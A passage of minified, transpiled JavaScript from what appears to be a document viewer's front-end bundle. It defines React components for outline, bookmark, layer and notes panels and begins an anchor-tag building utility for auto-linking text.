14:g.current=a,y();case 16:case"end":return e.stop()}}),e)})),function(){var t=this,n=arguments;return new Promise((function(r,o){var i=e.apply(t,n);function a(e){U_(i,r,o,a,l,"next",e)}function l(e){U_(i,r,o,a,l,"throw",e)}a(void 0)}))});return function(e){return n.apply(this,arguments)}}(),y=function(){vt.getOutlines((function(e){m(Ps.setOutlines(e))}))},b=function(e,t,n){var r=nA.getPath(e),o=nA.getPath(t);n.call(nA,r,o).then((function(e){y(),g.current=e})),vt.goToOutline(e)},w=function(e,t){b(e,t,nA.moveOutlineAfterTarget)},E=function(e,t){b(e,t,nA.moveOutlineBeforeTarget)},S=function(e,t){b(e,t,nA.moveOutlineInTarget)};return e?null:s.a.createElement("div",{className:"Panel OutlinesPanel bookmark-outline-panel","data-element":Yh.OUTLINE_PANEL},s.a.createElement("div",{className:"bookmark-outline-panel-header"},s.a.createElement("div",{className:"header-title"},h("component.outlinesPanel"))),s.a.createElement(ZO.Provider,{value:{setSelectedOutlinePath:a,selectedOutlinePath:i,setIsAddingNewOutline:f,isAddingNewOutline:c,isOutlineSelected:function(e){return nA.getPath(e)===i},addNewOutline:v,updateOutlines:y}},n&&s.a.createElement(lA,null),s.a.createElement(dt.a,{backend:jt?qO.a:pt.a},s.a.createElement("div",{className:"Outlines bookmark-outline-row"},!c&&0===t.length&&s.a.createElement("div",{className:"msg msg-no-bookmark-outline"},h("message.noOutlines")),t.map((function(e){return s.a.createElement(z_,{key:nA.getOutlineId(e),outline:e,outlineEditingEnabled:r,moveOutlineInward:S,moveOutlineBeforeTarget:E,moveOutlineAfterTarget:w})})),c&&null===i&&s.a.createElement(j_,{className:"marginLeft",defaultValue:h("message.untitled"),onEnter:v,onEscape:function(){return f(!1)},onBlur:v}))),s.a.createElement(Uf,{className:"bookmark-outline-footer",dataElement:"addNewOutlineButtonContainer"},s.a.createElement(bf,{dataElement:"addNewOutlineButton",className:"bookmark-outline-control-button add-new-button",img:"icon-menu-add",disabled:c||p,label:"".concat(h("action.add")," ").concat(h("component.outlinePanel")),onClick:function(){return f(!0)}}))))}var Z_=s.a.memo(q_);n(1004),n(1005);function Y_(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return $_(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return $_(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function $_(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var K_=function(e){var t=e.type,n=e.anchorButton,r=e.onClosePopup,o=e.onRenameClick,i=e.onSetDestinationClick,a=e.onDeleteClick,c=Y_(Ks(),1)[0],f=Object(l.useRef)(null),d=Y_(Object(l.useState)({left:-100,right:"auto",top:"auto"}),2),p=d[0],h=d[1],m=function(e){var t=e.children,n=e.position,r=document.getElementById("outline-edit-popup-portal");return r.style.position="absolute",r.style.top="auto"===n.top?n.top:"".concat(n.top,"px"),r.style.left="auto"===n.left?n.left:"".concat(n.left,"px"),r.style.right="auto"===n.right?n.right:"".concat(n.right,"px"),r.style.zIndex=999,Object(u.createPortal)(t,r)};Object(l.useEffect)((function(){var e=vp(n,f);h(e)}),[n]);var g=Object(l.useCallback)((function(e){null!=f&&f.current.contains(e.target)||r()}));return yp(f,g),s.a.createElement(m,{position:p},s.a.createElement(Uf,{ref:f,className:"bookmark-outline-context-menu-popup",dataElement:"".concat(t,"EditPopup")},s.a.createElement(bf,{className:"option-button",dataElement:"".concat(t,"RenameButton"),img:"ic_edit_page_24px",label:c("action.rename"),ariaLabel:c("action.rename"),onClick:function(e){return o(e)}}),"outline"===t&&s.a.createElement(bf,{className:"option-button",dataElement:"".concat(t,"RenameButton"),img:"icon-thumbtack",label:c("action.setDestination"),ariaLabel:c("action.setDestination"),onClick:function(){return i(t)}}),s.a.createElement(bf,{className:"option-button",dataElement:"".concat(t,"DeleteButton"),img:"icon-delete-line",label:c("action.delete"),ariaLabel:c("action.delete"),onClick:function(e){return a(e)}})))},X_=ry;function Q_(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return J_(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return J_(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function J_(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var eT=function(e){var t=e.text,n=e.label,r=e.defaultLabel,o=e.pageIndex,i=e.isAdding,a=e.isMultiSelectionMode,u=e.setSelected,c=e.onSave,f=e.onRemove,d=e.onCancel,p=Q_(Ks(),1)[0],h=Q_(Object(l.useState)(!1),2),m=h[0],g=h[1],v=Q_(Object(l.useState)(!1),2),y=v[0],b=v[1],w=Q_(Object(l.useState)(t),2),E=w[0],S=w[1],C=Q_(Object(l.useState)(!1),2),x=C[0],O=C[1],A=Q_(Object(l.useState)(void 0),2),_=A[0],T=A[1],k=Object(l.useRef)(),P=function(){g(!1),c(E||p("message.untitled"))},M=function(){g(!1),m&&S(t),i&&d()};return Object(l.useEffect)((function(){E!==t&&S(t)}),[t]),Object(l.useEffect)((function(){(i||m)&&(k.current.focus(),k.current.select()),b(!i&&!m)}),[m]),s.a.createElement(Uf,{className:js()({"bookmark-outline-single-container":!0,adding:i,editing:m,default:y,hover:x}),onClick:function(e){y&&1===e.detail&&T(setTimeout((function(){vt.setCurrentPage(o+1)}),300))},onDoubleClick:function(){y&&clearTimeout(_)}},a&&s.a.createElement(X_,{type:"checkbox",className:"bookmark-outline-checkbox",id:"bookmark-checkbox-".concat(o+1),onClick:function(e){return e.stopPropagation()},onChange:function(e){return u(o,e.target.checked)}}),s.a.createElement("div",{className:"bookmark-outline-label-row"},s.a.createElement("div",{className:"bookmark-outline-label"},i||m?n:r),y&&s.a.createElement(s.a.Fragment,null,a&&s.a.createElement(bf,{className:"bookmark-outline-more-button",dataElement:"bookmark-more-button-".concat(o),img:"icon-pencil-line",onClick:function(e){e.stopPropagation(),g(!0)},tabIndex:-1}),!a&&s.a.createElement(bf,{className:"bookmark-outline-more-button",dataElement:"bookmark-more-button-".concat(o),img:"icon-tool-more",onClick:function(e){e.stopPropagation(),O(!0)},tabIndex:-1}),x&&s.a.createElement(K_,{type:"bookmark",anchorButton:"bookmark-more-button-".concat(o),onClosePopup:function(){return O(!1)},onRenameClick:function(e){e.stopPropagation(),O(!1),g(!0)},onDeleteClick:function(e){e.stopPropagation(),O(!1),f(o)}}),s.a.createElement("div",{className:"bookmark-outline-text",onDoubleClick:function(){return g(!0)}},t)),(i||m)&&s.a.createElement(s.a.Fragment,null,s.a.createElement("input",{type:"text",name:"bookmark",ref:k,className:"bookmark-outline-input",placeholder:p("component.bookmarkTitle"),"aria-label":p("action.name"),value:E,onKeyDown:function(e){13===e.keyCode&&P(),27===e.keyCode&&M()},onChange:function(e){return S(e.target.value)}}),s.a.createElement("div",{className:"bookmark-outline-editing-controls"},s.a.createElement(bf,{className:"bookmark-outline-cancel-button",label:p("action.cancel"),onClick:M}),i&&s.a.createElement(bf,{className:"bookmark-outline-save-button",label:p("action.add"),isSubmitType:!0,onClick:P}),m&&s.a.createElement(bf,{className:"bookmark-outline-save-button",label:p("action.save"),isSubmitType:!0,disabled:E===t,onClick:P})))))};n(1006);function tT(e){return function(e){if(Array.isArray(e))return oT(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||rT(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function nT(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||rT(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function rT(e,t){if(e){if("string"==typeof e)return oT(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);return"Object"===n&&e.constructor&&(n=e.constructor.name),"Map"===n||"Set"===n?Array.from(e):"Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)?oT(e,t):void 0}}function oT(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var iT=function(){var e,t=nT(le((function(e){return[fi.isElementDisabled(e,Yh.BOOKMARK_PANEL),fi.getBookmarks(e),fi.getCurrentPage(e)-1,fi.getPageLabels(e)]}),N),4),n=t[0],r=t[1],o=t[2],i=t[3],a=nT(Object(l.useState)(!1),2),u=a[0],c=a[1],f=nT(Object(l.useState)(!1),2),d=f[0],p=f[1],h=nT(Object(l.useState)([]),2),m=h[0],g=h[1],v=nT(Ks(),1)[0],y=re(),b=Object.keys(r).map((function(e){return parseInt(e,10)}));Object(l.useEffect)((function(){m.forEach((function(e){b.includes(e)||g(m.filter((function(t){return t!==e})))}))}),[r]);var w=function(e){var t=v("warning.deleteBookmark.title"),n={message:v("warning.deleteBookmark.message"),title:t,onConfirm:function(){e.forEach((function(e){return y(Ps.removeBookmark(e))})),g([])},confirmBtnText:v("action.delete")};y(Ps.showWarningMessage(n))};return n?null:s.a.createElement("div",{className:"Panel BookmarksPanel bookmark-outline-panel","data-element":Yh.BOOKMARK_PANEL},s.a.createElement("div",{className:"bookmark-outline-panel-header"},s.a.createElement("div",{className:"header-title"},v("component.bookmarksPanel")),!d&&s.a.createElement(bf,{className:"bookmark-outline-control-button header-edit-button",label:v("action.edit"),disabled:u||0===b.length,onClick:function(){return p(!0)}}),d&&s.a.createElement(bf,{className:"bookmark-outline-control-button header-edit-button",label:v("option.bookmarkOutlineControls.done"),disabled:u,onClick:function(){p(!1),g([])}})),!u&&0===b.length&&s.a.createElement("div",{className:"msg msg-no-bookmark-outline"},v("message.noBookmarks")),s.a.createElement("div",{className:"bookmark-outline-row"},u&&s.a.createElement(eT,{isAdding:!0,label:"".concat(v("component.bookmarkPage")," ").concat(i[o]," - ").concat(v("component.bookmarkTitle")),text:null!==(e=r[o])&&void 0!==e?e:"",pageIndex:o,onSave:function(e){y(Ps.addBookmark(o,e)),c(!1)},onCancel:function(){return c(!1)}}),b.map((function(e){return s.a.createElement(eT,{key:e,isMultiSelectionMode:d,label:"".concat(v("component.bookmarkPage")," ").concat(i[e]," - ").concat(v("component.bookmarkTitle")),defaultLabel:"".concat(v("component.bookmarkPage")," ").concat(i[e]),text:r[e],pageIndex:e,onSave:function(t){return y(Ps.editBookmark(e,t))},onRemove:function(e){return w([e])},setSelected:function(e,t){m.find((function(t){return t===e}))?t||g(m.filter((function(t){return t!==e}))):t&&g([].concat(tT(m),[e]))}})}))),s.a.createElement(Uf,{className:"bookmark-outline-footer",dataElement:"addNewBookmarkButtonContainer"},d&&s.a.createElement(s.a.Fragment,null,s.a.createElement(bf,{dataElement:"newBookmarkButton",className:"multi-selection-button",img:"icon-menu-add",disabled:m.length>0||!!r[o],onClick:function(){return c(!0)}}),s.a.createElement(bf,{dataElement:"newBookmarkButton",className:"multi-selection-button",img:"icon-delete-line",disabled:0===m.length,onClick:function(){return w(m)}})),!d&&s.a.createElement(bf,{dataElement:"newBookmarkButton",className:"bookmark-outline-control-button add-new-button",img:"icon-menu-add",label:"".concat(v("action.add")," ").concat(v("component.bookmarkPanel")),disabled:u||!!r[o],onClick:function(){return c(!0)}})))};function aT(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function lT(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?aT(Object(n),!0).forEach((function(t){sT(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):aT(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function sT(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function uT(e,t){if(e.locked||e.disabled)return e;var n=lT({},e);return n.visible=t,n.prevVisibleState=n.visible,n.children&&n.children.length>0&&(n=function e(t){var n=lT({},t);return n.children&&n.children.forEach((function(t,r){var o=lT({},t);o.locked||(o.disabled=!n.visible,o=e(o)),n.children[r]=o})),n}(n=function e(t){var n=lT({},t);return n.children&&n.children.forEach((function(t,r){var o=lT({},t);n.visible?o.visible=!!o.prevVisibleState:o.visible=!1,o=e(o),n.children[r]=o})),n}(n))),n}var cT=function(e){var t=e.label,n=e.optionalText,r=e.children,o=e.className,i=e.htmlFor,a=_v(e,["label","optionalText","children","className","htmlFor"]),u=Rv(null==r?void 0:r.props.id),c=js()("ui__base ui__label",{"ui__label--disabled":null==r?void 0:r.props.disabled,"ui__label--attached":r},o);return s.a.createElement(s.a.Fragment,null,s.a.createElement("label",Av({},a,{className:c,htmlFor:null!=i?i:u}),t,n?s.a.createElement("span",{className:"ui__label__optional"},n):void 0),r?Object(l.cloneElement)(r,{id:u}):void 0)};n(1007);function fT(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function dT(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function pT(e){return function(e){if(Array.isArray(e))return gT(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||mT(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function hT(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||mT(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function mT(e,t){if(e){if("string"==typeof e)return gT(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);return"Object"===n&&e.constructor&&(n=e.constructor.name),"Map"===n||"Set"===n?Array.from(e):"Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)?gT(e,t):void 0}}function gT(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var vT={layer:Is.a.object,layerUpdated:Is.a.func};function yT(e){var t=e.layer,n=e.layerUpdated,r=hT(Object(l.useState)(!1),2),o=r[0],i=r[1],a=hT(Ks(),1)[0];if(!t)return null;var u=t&&t.children&&t.children.length>0,c="";return t.locked?c=a("message.lockedLayer"):t.disabled&&(c=a("message.layerVisibililtyNoChange")),s.a.createElement(Uf,{className:"Layer",dataElement:"layer-".concat(t.id,"-").concat(t.name)},s.a.createElement("div",{className:"parent-layer"},u?s.a.createElement("div",{className:"arrow",onClick:function(){i(!o)}},o?s.a.createElement(cf,{glyph:"ic_chevron_down_black_24px"}):s.a.createElement(cf,{glyph:"ic_chevron_right_black_24px"})):s.a.createElement("div",null," ",s.a.createElement(cf,{glyph:""})," "),s.a.createElement(ef,{content:c,hideOnClick:!1,forcePosition:"bottomLeft"},t.isLabel?s.a.createElement("div",{className:"content-container"},s.a.createElement(cT,{label:t.name})):s.a.createElement("div",{className:"content-container"},s.a.createElement(X_,{id:"".concat(t.id),label:t.name,onChange:function(){return e=!t.visible,r=uT(t,e),void(n&&n(r));var e,r},checked:t.visible,disabled:t.locked||t.disabled,center:!0}),t.locked&&s.a.createElement(cf,{className:"lock-icon",glyph:"icon-lock"})))),u&&o&&s.a.createElement("div",{className:"sub-layers"},t.children.map((function(e,r){return s.a.createElement(yT,{key:e.id,layer:e,parentLayer:t,layerUpdated:function(e){var o=pT(t.children);o[r]=e;var i=function(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?fT(Object(n),!0).forEach((function(t){dT(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):fT(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}({},t);i.children=o,n(i)}})}))))}yT.propTypes=vT;var bT=yT;n(1008);function wT(e){return function(e){if(Array.isArray(e))return ET(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||function(e,t){if(!e)return;if("string"==typeof e)return ET(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return ET(e,t)}(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function ET(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var ST={layers:Is.a.arrayOf(Is.a.object),setLayers:Is.a.func};function CT(e){var t=e.layers,n=void 0===t?[]:t,r=e.setLayers;return s.a.createElement(Uf,{className:"Panel LayersPanel",dataElement:"layersPanel"},n.map((function(e,t){return s.a.createElement(bT,{key:e.id,layer:e,layerUpdated:function(e){return function(e,t){var o=wT(n);o[t]=e,r&&r(o)}(e,t)}})})))}CT.propTypes=ST;var xT=CT;function OT(){return(OT=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}function AT(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return _T(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return _T(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function _T(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var TT=function(e){var t=re(),n=AT(le((function(e){return[fi.getLayers(e)]})),1)[0];Object(l.useEffect)((function(){var e=vt.getDocument();e&&(e.setLayersArray(n),window.documentViewer.refreshAll(),window.documentViewer.updateView())}),[n]);var r={layers:n,setLayers:function(e){t(Ps.setLayers(e))}};return s.a.createElement(xT,OT({},e,r))};function kT(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function PT(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?kT(Object(n),!0).forEach((function(t){MT(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):kT(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function MT(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function RT(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return jT(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return jT(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function jT(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var LT={notes:Is.a.array.isRequired,children:Is.a.func.isRequired,onScroll:Is.a.func.isRequired,initialScrollTop:Is.a.number.isRequired,selectedIndex:Is.a.number,sortStrategy:Is.a.string},IT=new fC({defaultHeight:50,fixedWidth:!0}),NT=s.a.forwardRef((function(e,t){var n=e.notes,r=e.children,o=e.onScroll,i=e.initialScrollTop,a=e.selectedIndex,u=e.sortStrategy,c=Object(l.useRef)(),f=RT(Object(l.useState)(0),2),d=f[0],p=f[1],h=RT(Object(l.useState)({width:0,height:0}),2),m=h[0],g=h[1],v=window.innerHeight;Object(l.useImperativeHandle)(t,(function(){return{scrollToPosition:function(e){c.current.scrollToPosition(e)},scrollToRow:function(e){c.current.scrollToRow(e)}}})),Object(l.useEffect)((function(){c.current.scrollToPosition(i)}),[i]),Object(l.useEffect)((function(){var e,t;(IT.clearAll(),null==c||null===(e=c.current)||void 0===e||e.measureAllRows(),-1!==a)&&(null===(t=c.current)||void 0===t||t.scrollToRow(a))}),[a]),Object(l.useEffect)((function(){var e,t;IT.clearAll(),null==c||null===(e=c.current)||void 0===e||e.measureAllRows(),null==c||null===(t=c.current)||void 0===t||t.forceUpdateGrid()}),[n.length,u]),Object(l.useEffect)((function(){var e=function(){var e=window.innerHeight-v;e&&(window.innerHeight<v&&p(e),v=window.innerHeight)};return window.addEventListener("resize",e),function(){window.removeEventListener("resize",e)}}));var y=function(e){var t=e.scrollTop;o(t)},b=function(e){var t=e.index,o=e.key,i=e.parent,a=e.style,l=n[t];return s.a.createElement(cC,{key:"".concat(o).concat(l.Id),cache:IT,columnIndex:0,parent:i,rowIndex:t},(function(e){var o=e.measure;return s.a.createElement("div",{style:PT(PT({},a),{},{paddingRight:"12px"})},r(n,t,(function(){!function(e){var t;IT.clear(e),null===(t=c.current)||void 0===t||t.recomputeRowHeights(e)}(t),o()})))}))};return s.a.createElement(kd,{bounds:!0,offset:!0,onResize:function(e){var t=e.bounds;g(PT(PT({},t),{},{height:t.height+2*d})),p(0)}},(function(e){var t=e.measureRef;return s.a.createElement("div",{ref:t,className:"virtualized-notes-container"},s.a.createElement(kC,{deferredMeasurementCache:IT,style:{outline:"none"},height:m.height-d,width:m.width,overscanRowCount:10,ref:c,rowCount:n.length,rowHeight:IT.rowHeight,rowRenderer:b,onScroll:y}))}))}));NT.propTypes=LT;var DT=NT,FT={notes:Is.a.array.isRequired,children:Is.a.func.isRequired,onScroll:Is.a.func.isRequired,initialScrollTop:Is.a.number.isRequired},BT=s.a.forwardRef((function(e,t){var n=e.notes,r=e.children,o=e.onScroll,i=e.initialScrollTop,a=Object(l.useRef)();Object(l.useImperativeHandle)(t,(function(){return{scrollToPosition:function(e){a.current.scrollTop=e},scrollToRow:function(e){var t=a.current,n=t.children[e],r=t.getBoundingClientRect(),o=n.getBoundingClientRect();o.top>=r.top&&o.top<=r.top+t.clientHeight||(t.scrollTop=o.top+t.scrollTop-r.top)}}})),Object(l.useEffect)((function(){a.current.scrollTop=i}),[i]);return s.a.createElement("div",{ref:a,className:"normal-notes-container",onScroll:function(e){o(e.target.scrollTop)},role:"list"},n.map((function(e,t){return s.a.createElement(s.a.Fragment,{key:"".concat(t,"_").concat(e.Id)},r(n,t))})))}));BT.propTypes=FT;var HT=BT,VT=s.a.createContext();function zT(e,t){if(Array.prototype.indexOf)return e.indexOf(t);for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1}function UT(e,t){for(var n=e.length-1;n>=0;n--)!0===t(e[n])&&e.splice(n,1)}function GT(e){throw new Error("Unhandled case for value: '".concat(e,"'"))}var WT=function(){function e(e){void 0===e&&(e={}),this.tagName="",this.attrs={},this.innerHTML="",this.whitespaceRegex=/\s+/,this.tagName=e.tagName||"",this.attrs=e.attrs||{},this.innerHTML=e.innerHtml||e.innerHTML||""}return e.prototype.setTagName=function(e){return this.tagName=e,this},e.prototype.getTagName=function(){return this.tagName||""},e.prototype.setAttr=function(e,t){return this.getAttrs()[e]=t,this},e.prototype.getAttr=function(e){return this.getAttrs()[e]},e.prototype.setAttrs=function(e){return Object.assign(this.getAttrs(),e),this},e.prototype.getAttrs=function(){return this.attrs||(this.attrs={})},e.prototype.setClass=function(e){return this.setAttr("class",e)},e.prototype.addClass=function(e){for(var t,n=this.getClass(),r=this.whitespaceRegex,o=n?n.split(r):[],i=e.split(r);t=i.shift();)-1===zT(o,t)&&o.push(t);return this.getAttrs().class=o.join(" "),this},e.prototype.removeClass=function(e){for(var t,n=this.getClass(),r=this.whitespaceRegex,o=n?n.split(r):[],i=e.split(r);o.length&&(t=i.shift());){var a=zT(o,t);-1!==a&&o.splice(a,1)}return this.getAttrs().class=o.join(" "),this},e.prototype.getClass=function(){return this.getAttrs().class||""},e.prototype.hasClass=function(e){return-1!==(" "+this.getClass()+" ").indexOf(" "+e+" ")},e.prototype.setInnerHTML=function(e){return this.innerHTML=e,this},e.prototype.setInnerHtml=function(e){return this.setInnerHTML(e)},e.prototype.getInnerHTML=function(){return this.innerHTML||""},e.prototype.getInnerHtml=function(){return this.getInnerHTML()},e.prototype.toAnchorString=function(){var e=this.getTagName(),t=this.buildAttrsStr();return["<",e,t=t?" "+t:"",">",this.getInnerHtml(),"</",e,">"].join("")},e.prototype.buildAttrsStr=function(){if(!this.attrs)return"";var e=this.getAttrs(),t=[];for(var n in e)e.hasOwnProperty(n)&&t.push(n+'="'+e[n]+'"');return t.join(" ")},e}();var qT=function(){function e(e){void 0===e&&(e={}),this.newWindow=!1,this.truncate={},this.className="",this.newWindow=e.newWindow||!1,this.truncate=e.truncate||{},this.className=e.className||""}return e.prototype.build=function(e){return new WT({tagName:"a",attrs:this.createAttrs(e),innerHtml:this.processAnchorText(e.getAnchorText())})},e.prototype.createAttrs=function(e){var t={href:e.getAnchorHref()},n=this.createCssClass(e);return n&&(t.class=n),this.newWindow&&(t.target="_blank",t.rel="noopener noreferrer"),this.truncate&&this.truncate.length&&this.truncate.length<e.getAnchorText().length&&(t.title=e.getAnchorHref()),t},e.prototype.createCssClass=function(e){var t=this.className;if(t){for(var n=[t],r=e.getCssClassSuffixes(),o=0,i=r.length;o<i;o++)n.push(t+"-"+r[o]);return n.join(" ")}return""},e.prototype.processAnchorText=function(e){return e=this.doTruncate(e)},e.prototype.doTruncate=function(e){var t=this.truncate;if(!t||!t.length)return e;var n=t.length,r=t.location;return"smart"===r?function(e,t,n){var r,o;null==n?(n="…",o=3,r=8):(o=n.length,r=n.length);var i=function(e){var t="";return e.scheme&&e.host&&(t+=e.scheme+"://"),e.host&&(t+=e.host),e.path&&(t+="/"+e.path),e.query&&(t+="?"+e.query),e.fragment&&(t+="#"+e.fragment),t},a=function(e,t){var r=t/2,o=Math.ceil(r),i=-1*Math.floor(r),a="";return i<0&&(a=e.substr(i)),e.substr(0,o)+n+a};if(e.length<=t)return e;var 